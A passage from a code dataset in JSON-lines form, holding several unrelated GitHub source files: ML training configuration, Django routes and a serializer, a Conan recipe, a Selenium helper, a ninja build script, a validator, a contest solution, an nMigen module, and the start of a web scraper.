NotImplementedError()\n\nrandom.seed(ARGS.random_seed)\nnp.random.seed(ARGS.random_seed)\ntorch.manual_seed(ARGS.random_seed)\ntorch.cuda.manual_seed_all(ARGS.random_seed)\n\n# To be refactored\nmodel_name = '%s_%s_%s_classifier_%s_%s_%s_%s.ckpt' % (ARGS.dataset, ARGS.data_setting, str(ARGS.imbalanced_ratio), ARGS.loss_type, ARGS.learning_rate, ARGS.data_augment, ARGS.gmodel)\n\nif ARGS.TMix:\n from model_tmix import get_bert, MixText as BERTClassifier\n bert, tokenizer = get_bert()\n print('\\n== Use TMix ==')\nelse:\n from model import BERTClassifier\n bert, tokenizer = get_bert()\nif ARGS.gpu:\n bert.cuda(ARGS.device)\nelse:\n bert.cpu()\n\n\n \nprint('\\n== Load data ==')\nlabeled_train_data, labeled_valid_data, labeled_test_data, HEAD_labels, TAIL_labels = load_data(ARGS.dataset, data_setting=ARGS.data_setting, imbalanced_ratio=ARGS.imbalanced_ratio, head_sample_num=N_SAMPLES, min_valid_data_num=ARGS.min_valid_data_num)\nARGS.HEAD_labels = HEAD_labels\nARGS.TAIL_labels = TAIL_labels\n\n\n\nif ARGS.data_augment:\n if ARGS.gmodel == 'bart':\n assert ARGS.cmodel == None\n\n augment_data_filename = './data/%s/aug_%s_%s_%s.csv' % (ARGS.dataset, ARGS.data_setting, ARGS.cmodel, ARGS.gmodel)\n augment_data_filename = './data/%s/aug_%s_%s_%s.csv' % (ARGS.dataset, ARGS.data_setting, ARGS.cmodel, ARGS.gmodel)\n \n print('data_augment:', ARGS.data_augment)\n print('cmodel:', ARGS.cmodel)\n print('gmodel:', ARGS.gmodel)\n \n labeled_aug_data = augment_data(augment_data_filename, tokenizer)\n labeled_train_data = pd.concat([labeled_aug_data, labeled_train_data])\n\nif ARGS.binary_class_idx is not None:\n model_name = '%s_%s_%s_classifier_%s_%s_%s_%s_%s_%s.ckpt' % (ARGS.dataset, ARGS.data_setting, str(ARGS.imbalanced_ratio), ARGS.loss_type, ARGS.learning_rate, ARGS.data_augment, ARGS.gmodel, ARGS.binary_class_idx, ARGS.random_seed)\n labeled_train_data, labeled_train_data_rest = convert2binary(labeled_train_data, ARGS.binary_class_idx, \n train=True, seed=ARGS.random_seed, aug=ARGS.data_augment)\n labeled_valid_data = convert2binary(labeled_valid_data, ARGS.binary_class_idx, train=False, \n seed=ARGS.random_seed, aug=ARGS.data_augment)\n labeled_test_data = convert2binary(labeled_test_data, ARGS.binary_class_idx, train=False, \n seed=ARGS.random_seed, aug=ARGS.data_augment)\n \nx_dict, y_dict, y_class, class_dict = convert_data(labeled_train_data, labeled_valid_data, labeled_test_data, tokenizer)\nnum_of_classes = len(y_class)\nx_dict, y_dict, data_dict, loader_dict = get_data_dict(x_dict, y_dict, train=True, shuffle=True, skip=True, nclasses=num_of_classes, balanced_sampling=ARGS.TMix)\n\ndf_train_data_filtered = labeled_train_data[['sentence', 'label']]\ndf_train_sent_group_by_label = df_train_data_filtered.groupby(['label']).size().reset_index(name='counts')\nclasses, class_counts = np.unique(df_train_sent_group_by_label['label'].tolist(), return_counts=True)\n\n\n\nnum_of_class_samples = [0] * (max(y_class) + 1)\nmax_samples = df_train_sent_group_by_label['counts']\nmax_count = max(df_train_sent_group_by_label['counts'].tolist())\nARGS.TOTAL_labels = num_of_classes\n\n\nfor index, row in df_train_sent_group_by_label.iterrows(): \n num_of_class_samples[row.label] = row.counts \n\nif 'translation.py' in sys.argv[0] or 'data_generation_for_gmodel.py' in sys.argv[0] or 'translation' in sys.argv[0]:\n from fairseq.models.bart import BARTModel\n from transformers import BartTokenizer\n bart_tokenizer = BartTokenizer.from_pretrained('facebook/bart-large')\nelif 'token_importance.py' in sys.argv[0] == False:\n print('Tokenizer is deleted!')\n del tokenizer\n\ntorch.cuda.empty_cache()\n","repo_name":"stovecat/CGS","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":8801,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"7"} +{"seq_id":"73459475104","text":"from django.urls import path\nfrom .views import *\n\nurlpatterns = [\n #channels\n path('create/channel', CreateChannelView.as_view(), name='create_channel'),\n path('/channel/', UpateChannelView.as_view(), name='upate_channel'),\n path('remove//channel/', DeleteChannelView.as_view(), name='delete_channel'),\n\n # Channel Profile Image\n path('channel/image', CreateChannelProfileView.as_view(), name='create_channel_profile'),\n path('image//channel/', UpateChannelProfileView.as_view(), name='upate_channel_profile'),\n path('remove/image//channel/', DeleteChannelProfileView.as_view(), name='delete_channel_profile'),\n \n # Channel Post\n path('channel/post', CreateChannelPostView.as_view(), name='create_channel_post'),\n path('channel/post/', DeleteChannelPostView.as_view(), name='delete_channel_post'),\n\n #Post likes from users\n path('channel/likes/post', AddChannelPostLikeView.as_view(), name='like_channel_post'),\n path('channel//likes/post', RemoveChannelPostLikeView.as_view(), name='delete_channel_post')\n]","repo_name":"NeonHayford/django-backend-assessment","sub_path":"user_channels/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"36316626528","text":"import os\nfrom pathlib import Path\nfrom conans import CMake, ConanFile, RunEnvironment, tools\n\n\nclass CloeEngine(ConanFile):\n name = \"cloe-engine\"\n license = \"Apache-2.0\"\n url = \"https://github.com/eclipse/cloe\"\n description = \"Cloe engine to execute simulations\"\n settings = \"os\", \"compiler\", \"build_type\", \"arch\"\n options = {\n # Whether the server feature is compiled and built into the Cloe engine.\n # Not building this may make compiling the engine possible if the web\n # server dependencies are incompatible with your target system.\n \"server\": [True, False],\n\n # Build and run unit tests.\n \"test\": [True, False],\n\n # Make the compiler be strict and pedantic.\n # Disable if you upgrade compilers and run into new warnings preventing\n # the build from completing. May be removed in the future.\n \"pedantic\": [True, False],\n }\n default_options = {\n \"server\": True,\n \"test\": True,\n \"pedantic\": True,\n\n \"fable:allow_comments\": True,\n }\n generators = \"cmake\"\n no_copy_source = True\n exports_sources = [\n \"src/*\",\n \"webui/*\",\n \"CMakeLists.txt\",\n ]\n\n _cmake = None\n\n def set_version(self):\n version_file = Path(self.recipe_folder) / \"../VERSION\"\n if version_file.exists():\n self.version = tools.load(version_file).strip()\n else:\n git = tools.Git(folder=self.recipe_folder)\n self.version = git.run(\"describe --dirty=-dirty\")[1:]\n\n def requirements(self):\n self.requires(f\"cloe-runtime/{self.version}@cloe/develop\")\n self.requires(f\"cloe-models/{self.version}@cloe/develop\")\n self.requires(\"cli11/[~=2.1.2]\", private=True)\n if self.options.server:\n self.requires(f\"cloe-oak/{self.version}@cloe/develop\", private=True)\n self.requires(\"boost/[>=1.65.1,<1.70.0]\")\n else:\n self.requires(\"boost/[>=1.65.1]\")\n self.requires(\"fmt/[~=8.1.1]\", override=True)\n self.requires(\"nlohmann_json/[~=3.10.5]\", override=True)\n\n def build_requirements(self):\n if self.options.test:\n self.build_requires(\"gtest/[~1.10]\")\n\n def _configure_cmake(self):\n if self._cmake:\n return self._cmake\n self._cmake = CMake(self)\n self._cmake.definitions[\"CMAKE_EXPORT_COMPILE_COMMANDS\"] = True\n self._cmake.definitions[\"BuildTests\"] = self.options.test\n self._cmake.definitions[\"WithServer\"] = self.options.server\n self._cmake.definitions[\"TargetLintingExtended\"] = self.options.pedantic\n self._cmake.definitions[\"CLOE_PROJECT_VERSION\"] = self.version\n self._cmake.configure()\n return self._cmake\n\n def build(self):\n cmake = self._configure_cmake()\n cmake.build()\n if self.options.test:\n with tools.environment_append(RunEnvironment(self).vars):\n cmake.test()\n\n def package(self):\n cmake = self._configure_cmake()\n cmake.install()\n\n def package_id(self):\n self.info.requires[\"boost\"].full_package_mode()\n del self.info.options.test\n del self.info.options.pedantic\n\n def package_info(self):\n if self.settings.os == \"Linux\":\n self.cpp_info.system_libs.append(\"pthread\")\n self.cpp_info.system_libs.append(\"dl\")\n if self.in_local_cache:\n bindir = os.path.join(self.package_folder, \"bin\")\n else:\n bindir = os.path.join(self.package_folder, \"build\", \"bin\")\n self.output.info(f\"Appending PATH environment variable: {bindir}\")\n self.env_info.PATH.append(bindir)\n","repo_name":"junyang0412/cloe","sub_path":"engine/conanfile.py","file_name":"conanfile.py","file_ext":"py","file_size_in_byte":3688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"7"} +{"seq_id":"22868364416","text":"#pip install chromedriver-autoinstaller\n\nimport chromedriver_autoinstaller\nfrom os import getcwd\nfrom selenium import webdriver\nfrom selenium.common.exceptions import SessionNotCreatedException\nfrom selenium.webdriver.chrome.options import Options\nfrom logging import info\nfrom pathlib import Path\n\n\nclass ChromeDriver:\n\n def __init__(self):\n self.__chrome_options = Options()\n self.__root_dir = getcwd()\n\n self.__prefs = {\"download\": {\n \"default_directory\": str(Path(self.__root_dir, 'documents', 'downloads')),\n \"directory_upgrade\": True,\n \"extensions_to_open\": \"\"\n }}\n\n def driver(self) -> webdriver.Chrome:\n try:\n chromedriver_autoinstaller.install()\n\n options = Options()\n options.add_argument(\"--start-maximized\")\n driver = webdriver.Chrome(options=options)\n\n except SessionNotCreatedException:\n raise Exception('Versão do Chrome incompatível com a do driver')\n\n except Exception:\n raise Exception('Não foi possível inicializar o Chrome Driver do Selenium')\n\n else:\n info('Sessão do Chrome iniciada com sucesso!')\n\n return driver\n","repo_name":"lleooNS/RPA_CADMUS_Planilha_Vagas_Abertas","sub_path":"src/helpers/ChromeHelper.py","file_name":"ChromeHelper.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"26861346620","text":"import copy\nfrom collections import defaultdict\nfrom conceptnet_retrofitting.ninja.ninja_util import (\n Dep, DepGraph, make_ninja_file, outputs\n)\n\n\nCONFIG = {\n 'source-data-path': 'source-data/',\n 'build-data-path': 'build-data/',\n 'glove-versions': ['glove.42B.300d', 'glove12.840B.300d'],\n 'word2vec-versions': ['w2v-google-news'],\n 'extra-embeddings': ['combo840'],\n 'neg-filters': ['jmdict', 'opencyc', 'openmind', 'verbosity', 'wiktionary', 'wordnet'],\n 'pos-filters': ['wiktionary'],\n 'run-filter': False,\n 'retrofit-items': ['conceptnet5',\n 'conceptnet5-minus-jmdict',\n 'conceptnet5-minus-opencyc',\n 'conceptnet5-minus-openmind',\n 'conceptnet5-minus-verbosity',\n 'conceptnet5-minus-wiktionary',\n 'conceptnet5-minus-wordnet',\n 'conceptnet5-wiktionary-only',\n 'ppdb-xl-lexical-standardized', 'cnet-ppdb-combined']\n}\nCONCEPTNET_SOURCE_FILE = 'conceptnet5.csv'\n\n\nclass GloveVectors:\n \"\"\"\n A reference to a file containing a matrix of GloVe embeddings.\n \"\"\"\n def __init__(self, version, *, normalization='none',\n standardization='raw', retrofit=None,\n filetype='npy'):\n self.version = version\n self.normalization = normalization\n self.standardization = standardization\n self.retrofit = retrofit\n self.filetype = filetype\n\n def __repr__(self):\n out = [self.version, self.normalization, self.standardization]\n if self.retrofit:\n out.append(self.retrofit)\n out.append(self.filetype)\n return CONFIG['build-data-path'] + '.'.join(out)\n\n\nclass GloveLabels:\n \"\"\"\n A reference to a file containing the labels corresponding to a\n GloveVectors file.\n \"\"\"\n def __init__(self, version, *, standardization='raw', retrofit=None):\n self.version = version\n self.standardization = standardization\n self.retrofit = retrofit\n\n def __repr__(self):\n out = [self.version, self.standardization]\n if self.retrofit:\n out.append(self.retrofit)\n out.append('labels')\n return CONFIG['build-data-path'] + '.'.join(str(x) for x in out)\n\n\nclass GloveReplacements:\n \"\"\"\n A reference to a file containing the mapping from labels to simplified\n labels that corresponds to a GloveVectors file.\n \"\"\"\n def __init__(self, version, *, standardization='raw', retrofit=None):\n self.version = version\n self.standardization = standardization\n self.retrofit = retrofit\n\n def __repr__(self):\n out = [self.version, self.standardization]\n if self.retrofit:\n out.append(self.retrofit)\n out.append('replacements.msgpack')\n return CONFIG['build-data-path'] + '.'.join(str(x) for x in out)\n\n\nimplicit = {\n 'glove_to_vecs': ['conceptnet_retrofitting/builders/build_vecs.py'],\n 'w2v_to_vecs': ['conceptnet_retrofitting/builders/build_w2v_vecs.py'],\n 'filter_vecs': ['conceptnet_retrofitting/builders/filter_vecs.py'],\n 'standardize_vecs': ['conceptnet_retrofitting/builders/standardize_vecs.py'],\n 'l1_normalize': ['conceptnet_retrofitting/builders/l1norm.py'],\n 'l2_normalize': ['conceptnet_retrofitting/builders/l2norm.py'],\n 'network_to_assoc': ['conceptnet_retrofitting/builders/build_assoc.py'],\n 'add_self_loops': ['conceptnet_retrofitting/builders/self_loops.py'],\n 'retrofit': ['conceptnet_retrofitting/builders/retrofit.py'],\n 'test': ['conceptnet_retrofitting/evaluation/wordsim.py'],\n 'tests_to_latex': ['conceptnet_retrofitting/evaluation/latex_results.py'],\n}\n\n\ndef build_conceptnet_retrofitting():\n graph = DepGraph()\n build_glove(graph)\n build_word2vec(graph)\n\n standardize_ppdb(graph)\n standardize_glove(graph)\n normalize_glove(graph)\n\n build_assoc(graph)\n filter_conceptnet(graph)\n add_self_loops(graph)\n retrofit(graph)\n\n test(graph)\n # latex_results(graph)\n\n make_ninja_file('rules.ninja', graph, implicit)\n\n\ndef build_glove(graph):\n for version in CONFIG['glove-versions']:\n input = CONFIG['source-data-path'] + '%s.txt' % version\n graph['build_glove']['build_glove_labels'][version] = Dep(\n input,\n GloveLabels(version=version),\n 'glove_to_labels'\n )\n graph['build_glove']['build_glove_vecs'][version] = Dep(\n input,\n GloveVectors(version=version),\n 'glove_to_vecs'\n )\n\n\ndef build_word2vec(graph):\n for version in CONFIG['word2vec-versions']:\n input = CONFIG['source-data-path'] + '%s.bin.gz' % version\n graph['build_word2vec'][version] = Dep(\n input,\n [GloveLabels(version=version), GloveVectors(version=version)],\n 'w2v_to_vecs'\n )\n\n\ndef standardize_glove(graph):\n for version in CONFIG['glove-versions'] + CONFIG['word2vec-versions']:\n graph['standardize_glove'][version] = Dep(\n [\n GloveLabels(version=version),\n GloveVectors(version=version)\n ],\n [\n GloveLabels(version=version, standardization='standardized'),\n GloveVectors(version=version, standardization='standardized'),\n ],\n 'standardize_vecs'\n )\n\n\ndef standardize_ppdb(graph):\n graph['standardize_ppdb'] = Dep(\n CONFIG['source-data-path'] + 'ppdb-xl-lexical.csv',\n CONFIG['build-data-path'] + 'ppdb-xl-lexical-standardized.csv',\n 'standardize_assoc'\n )\n\n graph['combine_cnet_ppdb'] = Dep(\n [\n CONFIG['source-data-path'] + CONCEPTNET_SOURCE_FILE,\n CONFIG['build-data-path'] + 'ppdb-xl-lexical-standardized.csv'\n ],\n CONFIG['build-data-path'] + 'cnet-ppdb-combined.csv',\n 'concatenate'\n )\n\n\ndef normalize_glove(graph):\n for version in CONFIG['glove-versions'] + CONFIG['word2vec-versions'] + CONFIG['extra-embeddings']:\n for norm in ('l1', 'l2'):\n for s13n in ('raw', 'standardized'):\n if version.startswith('combo') and s13n == 'raw':\n continue\n graph['normalize_glove'][version][norm][s13n] = Dep(\n GloveVectors(version=version, standardization=s13n),\n GloveVectors(version=version, normalization=norm, standardization=s13n),\n '%s_normalize' % norm\n )\n\n\ndef build_assoc(graph):\n for version in CONFIG['glove-versions'] + CONFIG['word2vec-versions'] + CONFIG['extra-embeddings']:\n for network in CONFIG['retrofit-items']:\n path = CONFIG['build-data-path']\n if network == 'conceptnet5':\n path = CONFIG['source-data-path']\n graph['network_to_assoc'][version][network] = Dep(\n [GloveLabels(version=version, standardization='standardized'), path + network + '.csv'],\n [GloveLabels(version=version, standardization='standardized', retrofit=network), CONFIG['build-data-path'] + '%s.%s.npz' % (version, network)],\n 'network_to_assoc'\n )\n\n\ndef regex_for_dataset(dataset):\n if dataset == 'openmind':\n filter_expr = '/d/(globalmind|conceptnet)'\n else:\n filter_expr = '/d/' + dataset\n return filter_expr\n\n\ndef filter_conceptnet(graph):\n for dataset in CONFIG['pos-filters']:\n filter_expr = regex_for_dataset(dataset)\n graph['filter_assoc']['pos'][dataset] = Dep(\n CONFIG['source-data-path'] + CONCEPTNET_SOURCE_FILE,\n CONFIG['build-data-path'] + 'conceptnet5-%s-only.csv' % dataset,\n 'filter_assoc_pos', params={'filter': filter_expr}\n )\n\n for dataset in CONFIG['neg-filters']:\n filter_expr = regex_for_dataset(dataset)\n graph['filter_assoc']['neg'][dataset] = Dep(\n CONFIG['source-data-path'] + CONCEPTNET_SOURCE_FILE,\n CONFIG['build-data-path'] + 'conceptnet5-minus-%s.csv' % dataset,\n 'filter_assoc_neg', params={'filter': filter_expr}\n )\n\n\n\ndef add_self_loops(graph):\n for version in CONFIG['glove-versions'] + CONFIG['word2vec-versions'] + CONFIG['extra-embeddings']:\n for network in CONFIG['retrofit-items']:\n graph['add_self_loops'][network][version] = Dep(\n CONFIG['build-data-path'] + '%s.%s.npz' % (version, network),\n CONFIG['build-data-path'] + '%s.%s.self_loops.npz' % (version, network),\n 'add_self_loops'\n )\n\n\ndef retrofit(graph):\n for network in ['conceptnet5']:\n graph['assoc_to_labels'][network] = Dep(\n CONFIG['source-data-path'] + CONCEPTNET_SOURCE_FILE,\n GloveLabels(version=network),\n 'assoc_to_labels'\n )\n\n for version in CONFIG['glove-versions'] + CONFIG['word2vec-versions'] + CONFIG['extra-embeddings']:\n for network in CONFIG['retrofit-items']:\n for norm in ['l1', 'l2']:\n if 'conceptnet5-' in network and norm != 'l1':\n # use only the l1 norm when trying dropping out datasets\n continue\n graph['retrofit'][version][norm][network] = Dep(\n [\n GloveVectors(version=version, standardization='standardized', normalization=norm),\n CONFIG['build-data-path'] + '%s.%s.self_loops.npz' % (version, network)\n ],\n GloveVectors(version=version, standardization='standardized', retrofit=network, normalization=norm),\n 'retrofit'\n )\n\n if CONFIG['run-filter']:\n graph['filter_vecs'][version][network] = Dep(\n [\n GloveLabels(version=version, standardization='standardized', retrofit=network),\n GloveVectors(version=version, standardization='standardized', retrofit=network, normalization='l1'),\n GloveLabels(version=network)\n ],\n [\n GloveLabels(version=version, standardization='filtered', retrofit=network),\n GloveVectors(version=version, standardization='filtered', retrofit=network, normalization='l1'),\n GloveReplacements(version=version, standardization='filtered', retrofit=network)\n ],\n 'filter_vecs'\n )\n\n\ndef test(graph):\n vector_files = defaultdict(list)\n\n for file in outputs(graph):\n if not isinstance(file, GloveVectors):\n continue\n vector_files[file.version, file.standardization, file.retrofit].append(file)\n\n for (version, standardization, retrofit), files in vector_files.items():\n if version.startswith('combo') and standardization == 'raw':\n continue\n label = GloveLabels(version=version, standardization=standardization, retrofit=retrofit)\n for file in files:\n out = copy.copy(file)\n out.filetype = 'evaluation'\n\n # this is a hack\n inputs = [label, file]\n if str(label) == CONFIG['build-data-path'] + 'glove.840B.300d.filtered.conceptnet5.labels':\n inputs.append(CONFIG['build-data-path'] + 'glove.840B.300d.filtered.conceptnet5.replacements.msgpack')\n graph['test']['test_%s' % file] = Dep(\n inputs, out, 'test'\n )\n\n\ndef latex_results(graph):\n inputs = []\n\n graph['latex_results'] = Dep(\n outputs(graph['test']),\n CONFIG['build-data-path'] + 'evaluations.latex',\n 'tests_to_latex'\n )\n\n\nif __name__ == '__main__':\n build_conceptnet_retrofitting()\n\n","repo_name":"codeaudit/conceptnet-vector-ensemble","sub_path":"code/ninja.py","file_name":"ninja.py","file_ext":"py","file_size_in_byte":11856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"7"} +{"seq_id":"8310945122","text":"# Released to students\n\nimport sys\nsys.path.append('..')\nsys.path.append('../..')\nimport argparse\nimport utils\nfrom student_utils_sp18 import *\nfrom student_utils_sp18 import *\n\n\ndef validate_output(input_file, output_file, params=[]):\n print('Processing', input_file)\n \n input_data = utils.read_file(input_file)\n output_data = utils.read_file(output_file)\n return tests(input_data, output_data, params=params)\n\n\ndef validate_all_outputs(input_directory, output_directory, params=[]):\n input_files = utils.get_files_with_extension(input_directory, '.in')\n output_files = utils.get_files_with_extension(output_directory, '.out')\n\n all_results = []\n for input_file in input_files:\n output_file = utils.input_to_output(input_file)\n print(input_file, output_file)\n if output_file not in output_files:\n print('No corresponding .out file for ', input_file)\n results = None\n else:\n results = validate_output(input_file, output_file, params=params)\n\n all_results.append((input_file, results))\n return all_results\n\n\ndef tests(input_data, output_data, params=[]):\n number_of_kingdoms, list_of_kingdom_names, starting_kingdom, adjacency_matrix = data_parser(input_data)\n kingdom_tour = output_data[0]\n conquered_kingdoms = output_data[1]\n\n if not all([kingdom in list_of_kingdom_names for kingdom in kingdom_tour]):\n print('At least one name in your tour is not in the list of kingdom names')\n\n if not all([kingdom in kingdom_tour for kingdom in conquered_kingdoms]):\n print('At least one name in your conquered set does not belong to the tour')\n\n if not kingdom_tour[0] == kingdom_tour[-1]:\n print('Your tour does not start and end at the same kingdom')\n\n list_of_edges_in_tour = tour_to_list_of_edges(kingdom_tour)\n kingdom_name_to_index = lambda name : list_of_kingdom_names.index(name)\n edges_in_tour_by_index = map(lambda edge : (kingdom_name_to_index(edge[0]), kingdom_name_to_index(edge[1])), list_of_edges_in_tour)\n if not all(adjacency_matrix[edge[0]][edge[1]] for edge in edges_in_tour_by_index):\n print('The kingdoms you listed do not form a valid tour in the graph')\n\n\n\n print(\"Success!\")\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Parsing arguments')\n parser.add_argument('--all', action='store_true', help='If specified, the output validator is run on all files in the output directory. Else, it is run on just the given output file')\n parser.add_argument('input', type=str, help='The path to the input file or directory')\n parser.add_argument('output', type=str, help='The path to the output file or directory')\n parser.add_argument('params', nargs=argparse.REMAINDER, help='Extra arguments passed in')\n args = parser.parse_args()\n if args.all:\n input_directory, output_directory = args.input, args.output\n validate_all_outputs(input_directory, output_directory, params=args.params)\n else:\n input_file, output_file = args.input, args.output\n validate_output(input_file, output_file, params=args.params)\n","repo_name":"hsong1101/berkeley","sub_path":"cs170/proj/output_validator.py","file_name":"output_validator.py","file_ext":"py","file_size_in_byte":3151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"25589057230","text":"#TLE(liをリストで実装するとTLE)\nli = {}\nn = int(input())\nfor _ in range(n):\n a = int(input())\n if a in li:\n del li[a]\n else:\n li[a] = 1\nprint(len(li))\n\n#別解\nfrom collections import Counter\nimport sys\nimport collections\nn = int(input())\nc = Counter(sys.stdin.readlines())\nprint(sum(v%2 for v in c.values()))\n","repo_name":"Biolexey/Programing-Contests-Questions","sub_path":"Python/atcoder/ABC/70/073/ABC073C_WriteandErase.py","file_name":"ABC073C_WriteandErase.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33458716725","text":"from nmigen import *\n\nclass MotorEnable(Elaboratable):\n def __init__(self, is_test=False):\n self.limit_top = Signal() # 1 means it's been hit, 0 means not hit\n self.limit_bottom = Signal() # 1 means it's been hit, 0 means ok\n self.direction = Signal() # 1 means 'down', 0 means 'up'\n self.enable_i = Signal()\n self.enable_o = Signal()\n self.is_test = is_test\n if is_test:\n self.dummy = Signal()\n\n def elaborate(self, platform):\n m = Module()\n if self.is_test:\n with m.If(self.dummy == 1):\n m.d.sync += self.dummy.eq(0)\n with m.Else():\n m.d.sync += self.dummy.eq(1)\n\n with m.If(self.direction == 1): # direction is down\n with m.If(self.limit_bottom == 1):\n m.d.comb += self.enable_o.eq(0)\n with m.Else():\n m.d.comb += self.enable_o.eq(self.enable_i)\n\n with m.Else(): # direction is up\n with m.If(self.limit_top == 1):\n m.d.comb += self.enable_o.eq(0)\n with m.Else():\n m.d.comb += self.enable_o.eq(self.enable_i)\n return m\n","repo_name":"phlipped/paint_fpga","sub_path":"motor_enable.py","file_name":"motor_enable.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"23544646557","text":"# -*- coding: utf-8 -*-\nimport logging\nimport phonenumbers\nfrom datetime import datetime, timedelta\nfrom dateutil import tz\nfrom djmoney.money import Money\nfrom django.conf import settings\nfrom django.contrib.auth.models import Group\nfrom django.contrib.auth import authenticate\nfrom django.db import transaction\nfrom django.db.models import Q, Prefetch\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.utils import timezone\nfrom django.utils.http import urlquote\nfrom rest_framework import exceptions, serializers\nfrom rest_framework.response import Response\n\nfrom shared_foundation.custom.drf.fields import PhoneNumberField\nfrom shared_foundation import constants\nfrom tenant_api.serializers.skill_set import SkillSetListCreateSerializer\nfrom tenant_foundation.constants import *\nfrom tenant_foundation.models import (\n Comment,\n WorkOrderComment,\n WORK_ORDER_STATE,\n WorkOrder,\n ONGOING_WORK_ORDER_STATE,\n OngoingWorkOrder,\n SkillSet,\n Tag,\n TaskItem\n)\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass OngoingWorkOrderRetrieveUpdateDestroySerializer(serializers.ModelSerializer):\n associate_full_name = serializers.SerializerMethodField()\n associate_telephone = PhoneNumberField(read_only=True, source=\"associate.telephone\")\n associate_telephone_type_of = serializers.IntegerField(read_only=True, source=\"associate.telephone_type_of\")\n associate_pretty_telephone_type_of = serializers.CharField(read_only=True, source=\"associate.get_pretty_telephone_type_of\")\n associate_other_telephone = PhoneNumberField(read_only=True, source=\"associate.other_telephone\")\n associate_other_telephone_type_of = serializers.IntegerField(read_only=True, source=\"associate.other_telephone_type_of\")\n associate_pretty_other_telephone_type_of = serializers.CharField(read_only=True, source=\"associate.get_pretty_other_telephone_type_of\")\n customer_full_name = serializers.SerializerMethodField()\n customer_telephone = PhoneNumberField(read_only=True, source=\"customer.telephone\")\n customer_telephone_type_of = serializers.IntegerField(read_only=True, source=\"customer.telephone_type_of\")\n customer_pretty_telephone_type_of = serializers.CharField(read_only=True, source=\"customer.get_pretty_telephone_type_of\")\n customer_other_telephone = PhoneNumberField(read_only=True, source=\"customer.other_telephone\")\n customer_other_telephone_type_of = serializers.IntegerField(read_only=True, source=\"customer.other_telephone_type_of\")\n customer_pretty_other_telephone_type_of = serializers.CharField(read_only=True, source=\"customer.get_pretty_other_telephone_type_of\")\n pretty_status = serializers.CharField(read_only=True, source=\"get_pretty_status\")\n pretty_type_of = serializers.CharField(read_only=True, source=\"get_pretty_type_of\")\n\n class Meta:\n model = OngoingWorkOrder\n fields = (\n # Read only fields.\n 'id',\n\n # Read Only fields.\n 'associate_full_name',\n 'associate_telephone',\n 'associate_telephone_type_of',\n 'associate_pretty_telephone_type_of',\n 'associate_other_telephone',\n 'associate_other_telephone_type_of',\n 'associate_pretty_other_telephone_type_of',\n 'customer_full_name',\n 'customer_telephone',\n 'customer_telephone_type_of',\n 'customer_pretty_telephone_type_of',\n 'customer_other_telephone',\n 'customer_other_telephone_type_of',\n 'customer_pretty_other_telephone_type_of',\n 'pretty_status',\n 'pretty_type_of',\n\n # Read / write fields.\n 'associate',\n 'customer',\n 'state'\n )\n\n def setup_eager_loading(cls, queryset):\n \"\"\" Perform necessary eager loading of data. \"\"\"\n queryset = queryset.prefetch_related(\n 'associate',\n 'customer',\n 'comments',\n 'last_modified_by',\n 'created_by',\n 'work_orders'\n )\n return queryset\n\n def get_associate_full_name(self, obj):\n try:\n if obj.associate:\n return str(obj.associate)\n except Exception as e:\n pass\n return None\n\n def get_customer_full_name(self, obj):\n try:\n if obj.customer:\n return str(obj.customer)\n except Exception as e:\n pass\n return None\n\n # def get_pretty_skill_sets(self, obj):\n # try:\n # s = SkillSetListCreateSerializer(obj.skill_sets.all(), many=True)\n # return s.data\n # except Exception as e:\n # return None\n\n def get_created_by(self, obj):\n try:\n return str(obj.created_by)\n except Exception as e:\n return None\n\n def get_last_modified_by(self, obj):\n try:\n return str(obj.last_modified_by)\n except Exception as e:\n return None\n\n # def validate_invoice_service_fee_payment_date(self, value):\n # \"\"\"\n # Include validation on no-blanks if the state is set to be changed\n # to ``completed_and_paid`` state of the work order.\n # \"\"\"\n # state = self.context['state']\n # if state:\n # if state == WORK_ORDER_STATE.COMPLETED_AND_PAID:\n # if value is None:\n # raise serializers.ValidationError(\"This field may not be blank when submitting a payment status.\")\n # return value\n\n # def validate_invoice_date(self, value):\n # \"\"\"\n # Include validation on no-blanks\n # \"\"\"\n # if value is None:\n # raise serializers.ValidationError(\"This field may not be blank.\")\n # return value\n #\n # def get_pretty_tags(self, obj):\n # try:\n # s = TagListCreateSerializer(obj.tags.all(), many=True)\n # return s.data\n # except Exception as e:\n # return None\n\n @transaction.atomic\n def update(self, instance, validated_data):\n \"\"\"\n Override this function to include extra functionality.\n \"\"\"\n # (a) Object details.\n instance.customer = validated_data.get('customer', instance.customer)\n instance.associate = validated_data.get('associate', instance.associate)\n instance.state = validated_data.get('state', instance.state)\n\n # (b) System details.\n instance.last_modified_from = self.context['last_modified_from']\n instance.last_modified_from_is_public = self.context['last_modified_from_is_public']\n instance.last_modified_by = self.context['last_modified_by']\n\n instance.save()\n\n # Return our validated data.\n return validated_data\n","repo_name":"over55/workery-django","sub_path":"workery/tenant_api/serializers/order_crud/ongoing_order_retrieve_update_destroy.py","file_name":"ongoing_order_retrieve_update_destroy.py","file_ext":"py","file_size_in_byte":6773,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"7"} +{"seq_id":"74591174943","text":"# coding=utf-8\nimport requests\nfrom bs4 import BeautifulSoup\nimport time\nimport pandas as pd\n\nrq_flag = False\n\nwhile not rq_flag:\n try:\n headers = {'User-Agent': 'User-Agent:Mozilla/5.0'}\n resp = requests.get('http://live.win007.com/', headers=headers) # 请求百度首页\n print(str(resp))\n if not '500' in str(resp):\n rq_flag = True\n except Exception as ex:\n print(str(ex))\n 